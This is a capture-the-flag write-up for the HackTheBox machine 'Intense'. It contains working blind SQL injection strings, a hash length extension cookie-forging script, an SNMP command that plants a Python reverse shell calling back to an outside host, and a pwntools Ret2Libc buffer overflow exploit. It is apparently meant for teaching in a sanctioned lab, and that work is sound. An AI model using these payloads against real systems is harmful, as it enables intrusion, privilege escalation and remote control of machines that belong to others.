23. HackTheBox. Level Hard: Passing Intanse. Flask, HLE attack, SQL injection, SNMP to RCE, Ret2Libc

27 December 2024 9 minutes Author: Lady Liberty

Learn how to identify hidden vulnerabilities in web applications, server configurations, and code to improve your skills and ensure the highest level of security for your own projects. Why is it important? Using these testing methods helps prevent hacks, optimize system protection, and increase overall security. Learn from best practices and stay one step ahead of cyber threats.

From SQL injections to Ret2Libc

We continue publishing solutions submitted for finalization by machines from the HackTheBox platform. This article discusses obtaining a Flask secret key via SQL injection, performing a cryptographic attack on message extension, obtaining an RCE using SNMP, and exploiting a buffer overflow vulnerability via the Ret2Libc attack.

Recon

This machine has an IP address of 10.10.10.195, which we add to /etc/hosts.

10.10.10.195 	intence.htb

First of all, we scan open ports.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

nmap -sU intence.htb

Only SNMP, a web server, and SSH are available on the target host. After navigating to the site, it becomes clear that guest login is required, and source codes are provided for analysis.

Let’s log in to get an idea of ​​the site structure.

So we can submit something, let’s go to the Submit page.

We will not test anything, since we have the source codes. We download and review them one by one. From the admin.py file we see the administrator’s capabilities – to browse directories and read files. We also understand that flask is used.

The app.py file shows that the Submit request uses the database and does not filter user data.

We also note the method of creating cookies.

Let’s move on to the lwt.py file, which handles sessions. We note the secret length and cookie structure.

And in the last file we see the database query itself and the principle of checking user privileges.

All clear, let’s look at the cookie.

We can easily decode this string using flask-session-cookie-manager.

But we need the admin secret.

SQL injection

Let’s try to get it using SQL injection in Submit. So, we have the following INSERT query:

INSERT INTO messages VALUES ('%s')

Therefore, our query should be executed in the following structure:

' AND ( SELECT ... ) ) -- -

Then the full database query would be:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')

If there are no comments, then this:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) )

In the query itself, we will use the following structure:

SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END

Then if the request can be executed, we will get the response ‘OK’, otherwise the error ‘unable to use function MATCH in the requested context’.

We can recognize the secret stored in the users table. Moreover, we know the secret of the guest user (role = 0). Considering that we are using SQLite database, let’s find out the length of the secret (since we know it, we will determine the reaction to the correct and incorrect request) using the following insert into the query (instead of XXX our number):

' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -

Now let’s check the character-by-character extraction of the secret. The following construction will help here (NUM is the serial number of the character, and XXX is the character itself).

' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -

Thus, all assumptions are confirmed. That is, we can find out the secret of the user with role=1. Its length (since it is a hash) is 64.

Let’s go to Intruder and set the following settings.

And let’s launch the attack. After a few seconds, we will get the execution result. We will set a filter that will exclude all responses where there is “MATCH”. And we will see 64 lines. We sort them by payload1 (character position).

Select all lines and save only payload2 to the file.

And let’s see our secret.

HLE attack

We can’t just take this secret and put it in a cookie. But we can perform an HLE attack. We can perform the attack with the following code, which uses the hashpumpy library.

import hashpumpy
import binascii
import requests
from base64 import *

url = "http://intence.htb/admin"
new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s="

data_cookie = b64decode(old_cookie.split('.')[0])
sign_cookie = b64decode(old_cookie.split('.')[1])

for offset in range(1,64):
    print("Find offset: " + str(offset), end='\r')
    (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)
    new_cookie = b64encode(new_data) + b"." +  b64encode(binascii.unhexlify(new_sign))
    r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')})
    if r.status_code == 200:
        print("Offset found: " + str(offset))
        print("Admin cookie: " + new_cookie.decode('utf-8'))
        break

And we get the admin cookies, insert them on the website.

Okay, we have elevated privileges.

User

Let’s check if we can read files and browse directories.

Great. From the /etc/passwd file, we will mark the user user and SNMP.

And we take the first flag.

SNMP to reverse shell

Let’s look at the SNMP configuration file. From it we get the password that will allow us to create records (rwcommunity).

Let’s create an entry containing a Python reverse shell. To do this, we need to fill in the following fields:

nsExtendStatus."command"
nsExtendCommand."R4command"
nsExtendArgs."R4command"

Install snmp-mibs-downloader.

apt install snmp-mibs-downloader

And now let’s create a record.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

To do this we need to know the object OID. There is a very good website that can help.

So the object OID is 1.3.6.1.4.1.8072.1.3.2. We execute the command and get a backconnection.

snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2

Root

Let’s get a normal bash and see the user’s home directory.

We find the executable and source code. Using netcat, we copy the files to the local machine for analysis.

From the program’s source code, we learn that it listens on port 5001.

Let’s check.

So we have found the LPE vector. This program listens on local port 5001 and runs as root. The SNMP user does not have an interactive shell (it was marked in /etc/passwd) but we can tunnel the port using SSH. Let’s generate a key and write authorized_keys on the remote machine.

And now we wake up the port.

ssh -i id_rsa -N -L 5001:127.0.0.1:5001 [email protected]

Great. Let’s start analyzing the program.

Ret2Libc Attack

We find out what library the program uses using GDB, and then copy it using the method we used before.

And don’t forget to check the protection used.

So we have random addressing, a canary, and an unimplementable stack. First, let’s write an exploit template.

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 5001
context(os='linux', arch='amd64')
binary = ELF('./note', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
r = remote(HOST, PORT)

r.interactive()

Let’s look at the functionality of the program. From the source code it becomes clear that we can create, copy and read notes. Let’s implement these functions. When writing, we must send 1 byte = 0x01, and after that 1 byte — the size of the message and the message itself.

def W(s):
    r.send(p8(1))
    r.send(p8(len(s)))
    r.send(s)

Copying requires 0x02, two bytes of offset and one byte of size.

def CPY(offset, size):
    r.send(p8(2))
    r.send(p16(offset))
    r.send(p8(size))

And for reading only byte 0x03.

def R(size):
    r.send(p8(3))
    return r.recv(size)

And the buffer size is 1024.

We can overflow the buffer, but we need to know the values ​​of the canary and the RBP and RIP registers. We can find them thanks to the CPY function, finding out the data about the offset 1024. But first we need to occupy them. Since we can only write 255 bytes at a time, we need to write 255 characters 4 times and add 4 bytes the fifth time. And then read 1056 bytes and separate 32 bytes after our buffer.

[  W("A"*255) for _ in range(4) ]
W("A"*4)
CPY(1024, 32)
post_buf = R(1056)[1024:]
_CANARY = u64(post_buf[8:16])
_RBP = u64(post_buf[16:24])
_RIP = u64(post_buf[24:32])
print("CANARY: " + hex(_CANARY))
print("RBP: " + hex(_RBP))
print("RIP: " + hex(_RIP))

Knowing the RIP and knowing the relative exit address of the function, we can calculate the address at which the program is loaded.

binary.address = _RIP - 0xf54

And we will use the ROP class to get the address of the write function (we have already thoroughly discussed ROP).

rop_binary = ROP(binary)
rop_binary.write(4, binary.got['write'])
r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain()   # 72

W(payload)
[  W("A"*255) for _ in range(3) ]
W("A"*187)
CPY(0, len(payload))
R(1024 + len(payload))
libc_write = u64(r.recv(8))
print("Leak: " + hex(libc_write))

And let’s calculate the address where LIBC is loaded.

libc.address = libc_write -libc.symbols['write']
print("LIBC address: "+ hex(libc.address))

The next step is to obtain a shell using the ROP class. To do this, as usual, the input and output streams are redirected, /bin/sh is called, and the write function is rewritten according to the vulnerability exploitation.
libc_rop = ROP(libc)
libc_rop.dup2(4, 0)
libc_rop.dup2(4, 1)
libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)

r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain()   # 152

W(payload)
[  W("A"*255) for _ in range(3) ]
W("A"*107)
CPY(0, len(payload))
R(1024 + len(payload))

As always, I’m showing the full code in a picture.

As a result, you can gain access with full rights.

Conclusion

The article covers the entire process of exploiting vulnerabilities in the HackTheBox task, from analyzing available services and source code to successfully gaining privileged access. Various techniques were used, including SQL injection, message extension cryptographic attack, RCE via SNMP, and Ret2Libc attack.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.